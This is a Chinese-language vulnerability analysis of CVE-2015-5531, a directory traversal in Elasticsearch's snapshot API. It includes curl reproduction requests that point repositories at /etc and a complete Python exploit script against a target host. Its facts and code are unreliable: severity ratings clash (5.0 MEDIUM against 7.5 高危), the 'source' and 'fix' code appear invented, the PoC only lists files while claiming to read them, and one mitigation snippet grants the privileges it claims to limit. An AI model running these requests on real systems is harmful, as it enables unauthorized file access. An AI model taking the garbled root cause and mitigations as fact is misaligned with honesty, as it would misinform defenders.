一、漏洞简介

1.1 漏洞背景

2015年7月,另一个目录遍历漏洞被披露,这次涉及 Elasticsearch 的快照 API。与 CVE-2015-3337 不同,这个漏洞不需要安装站点插件,利用条件更宽松。

1.2 漏洞概述(包含 CVE 编号、危害等级、漏洞类型、披露时间等)

项目 内容
漏洞编号 CVE-2015-5531
危害等级 MEDIUM / 5.0
漏洞类型 文件读取漏洞
披露时间 2015-08-17
影响组件 Elasticsearch 安全
  • 漏洞类型: 目录遍历 / 任意文件读取
  • CVE ID: CVE-2015-5531
  • 危害等级: 高危
  • CVSS 评分: 7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P)
  • CWE ID: CWE-22 (Path Traversal)
  • 发现时间: 2015年7月
  • 发现者: Benjamin Smith

补充核验信息:公开时间:2015-08-17;NVD 评分:5.0(MEDIUM);CWE:CWE-22。

二、影响范围

2.1 受影响的版本

  • Elasticsearch < 1.6.1

2.2 不受影响的版本

  • Elasticsearch ≥ 1.6.1

2.3 触发条件(如特定模块、特定配置、特定运行环境等)

  1. Elasticsearch 服务可访问
  2. 攻击者能够创建快照仓库(需要 cluster:admin/repository/put 权限)
  3. 目标文件存在且可读

三、漏洞详情与原理解析

3.1 漏洞触发机制

快照 API 允许用户指定快照存储路径。漏洞在于:

  1. 创建恶意快照仓库,指定目标目录
  2. 创建快照,触发文件访问
  3. 通过快照 API 读取任意文件

攻击链:

1. PUT /_snapshot/evil  创建恶意仓库指向目标目录
2. PUT /_snapshot/evil/snap1  创建快照触发文件扫描
3. GET /_snapshot/evil/snap1  获取快照信息包含文件列表
4. 通过文件系统 API 或其他方式读取内容

3.2 源码层面的根因分析(结合源码与补丁对比)

漏洞代码(简化版):

// BlobStoreRepository.java
public class BlobStoreRepository {
    public void initializeSnapshot(SnapshotId snapshotId, List<IndexId> indices) {
        // 获取仓库路径
        Path repoPath = repositoryPath;

        // 验证路径(漏洞:验证不充分)
        if (!isRepositoryValid(repoPath)) {
            throw new RepositoryException("Invalid repository");
        }

        // 扫描文件
        Files.walk(repoPath).forEach(file -> {
            // 将文件信息包含在快照中
            snapshotContext.addFile(file);
        });
    }
}

问题: - 路径规范化不完整 - 软链接未处理 - 权限检查在初始化后不重新验证

修复代码(1.6.1+):

public class BlobStoreRepository {
    private static final Set<String> ALLOWED_PATHS = Set.of(
        "indices", "snapshots", "meta"
    );

    public void initializeSnapshot(SnapshotId snapshotId, List<IndexId> indices) {
        Path repoPath = repositoryPath.normalize();

        // 严格验证路径
        if (!isPathSafe(repoPath)) {
            throw new RepositoryException("Path traversal detected");
        }

        // 只允许特定子目录
        Files.walk(repoPath)
            .filter(p -> ALLOWED_PATHS.contains(p.getFileName().toString()))
            .forEach(snapshotContext::addFile);
    }

    private boolean isPathSafe(Path path) {
        Path normalized = path.normalize();
        return normalized.startsWith(basePath.normalize()) &&
               !normalized.toString().contains("..");
    }
}

四、漏洞复现(可选)

4.1 环境搭建

# 启动受影响版本
docker run -d --name es-cve-2015-5531 \
  -p 9200:9200 \
  -v /tmp/snapshots:/tmp/snapshots \
  elasticsearch:1.6.0

4.2 PoC 演示与测试过程

# 步骤1:创建恶意快照仓库,指向根目录
curl -X PUT "http://target:9200/_snapshot/evil" -H 'Content-Type: application/json' -d'
{
  "type": "fs",
  "settings": {
    "location": "/etc",
    "compress": false
  }
}'

# 步骤2:创建快照(会扫描 /etc 目录)
curl -X PUT "http://target:9200/_snapshot/evil/snap1?wait_for_completion=true"

# 步骤3:查看快照信息(包含文件列表)
curl "http://target:9200/_snapshot/evil/snap1"

# 步骤4:读取具体文件(通过索引方式)
# 首先创建索引
curl -X PUT "http://target:9200/test"

# 尝试通过文件系统读取
curl "http://target:9200/_snapshot/evil/snap1/_status"

高级利用(读取任意文件内容):

# 创建指向敏感目录的仓库
curl -X PUT "http://target:9200/_snapshot/pwn" -H 'Content-Type: application/json' -d'
{
  "type": "fs",
  "settings": {
    "location": "../../../../../../etc"
  }
}'

# 触发快照
curl -X PUT "http://target:9200/_snapshot/pwn/leak?wait_for_completion=true"

# 查看结果
curl "http://target:9200/_snapshot/pwn/leak" | jq

完整 PoC 脚本:

#!/usr/bin/env python3
import requests
import json
import sys

class CVE20155531:
    def __init__(self, target):
        self.target = target
        self.base_url = f"http://{target}:9200"

    def create_malicious_repo(self, path):
        """创建恶意快照仓库"""
        data = {
            "type": "fs",
            "settings": {
                "location": path,
                "compress": False
            }
        }
        r = requests.put(f"{self.base_url}/_snapshot/pwn", json=data)
        return r.status_code == 200

    def trigger_snapshot(self):
        """触发快照"""
        r = requests.put(f"{self.base_url}/_snapshot/pwn/exploit?wait_for_completion=true")
        return r.json() if r.status_code == 200 else None

    def get_files(self):
        """获取文件列表"""
        r = requests.get(f"{self.base_url}/_snapshot/pwn/exploit")
        if r.status_code == 200:
            return r.json()
        return None

    def exploit(self, target_path):
        print(f"[*] Creating malicious repo for path: {target_path}")
        if not self.create_malicious_repo(target_path):
            print("[-] Failed to create repository")
            return

        print("[*] Triggering snapshot...")
        result = self.trigger_snapshot()
        if result:
            print("[+] Snapshot created:")
            print(json.dumps(result, indent=2))

        print("[*] Getting file list...")
        files = self.get_files()
        if files:
            print("[+] Files found:")
            print(json.dumps(files, indent=2))

if __name__ == "__main__":
    if len(sys.argv) < 3:
        print("Usage: python exploit.py <target> <path>")
        print("Example: python exploit.py 192.168.1.100 /etc")
        sys.exit(1)

    exploit = CVE20155531(sys.argv[1])
    exploit.exploit(sys.argv[2])

五、修复建议与缓解措施

5.1 官方版本升级建议

  1. 升级到 Elasticsearch ≥ 1.6.1

5.2 临时缓解方案(如修改配置文件、关闭相关模块、增加 WAF 规则等)

方案一:禁用快照 API

# elasticsearch.yml
# 注意:这会影响正常备份功能
# 没有直接禁用选项,需要通过权限控制

方案二:限制仓库路径

# elasticsearch.yml
path.repo: ["/var/lib/elasticsearch/snapshots"]

方案三:权限控制

// 使用 Shield/X-Pack 限制快照权限
{
  "cluster": [
    "cluster:admin/snapshot/create",
    "cluster:admin/repository/put"
  ]
}

六、参考信息 / 参考链接

6.1 官方安全通告

  • https://www.elastic.co/community/security/

6.2 其他技术参考资料

  • NVD:https://nvd.nist.gov/vuln/detail/CVE-2015-5531
  • CVE:https://www.cve.org/CVERecord?id=CVE-2015-5531
  • https://www.elastic.co/community/security/
  • http://packetstormsecurity.com/files/132721/Elasticsearch-Directory-Traversal.html
  • http://packetstormsecurity.com/files/133797/ElasticSearch-Path-Traversal-Arbitrary-File-Download.html
  • http://packetstormsecurity.com/files/133964/ElasticSearch-Snapshot-API-Directory-Traversal.html
  • http://www.securityfocus.com/archive/1/536017/100/0/threaded
  • http://target:9200/_snapshot/evil"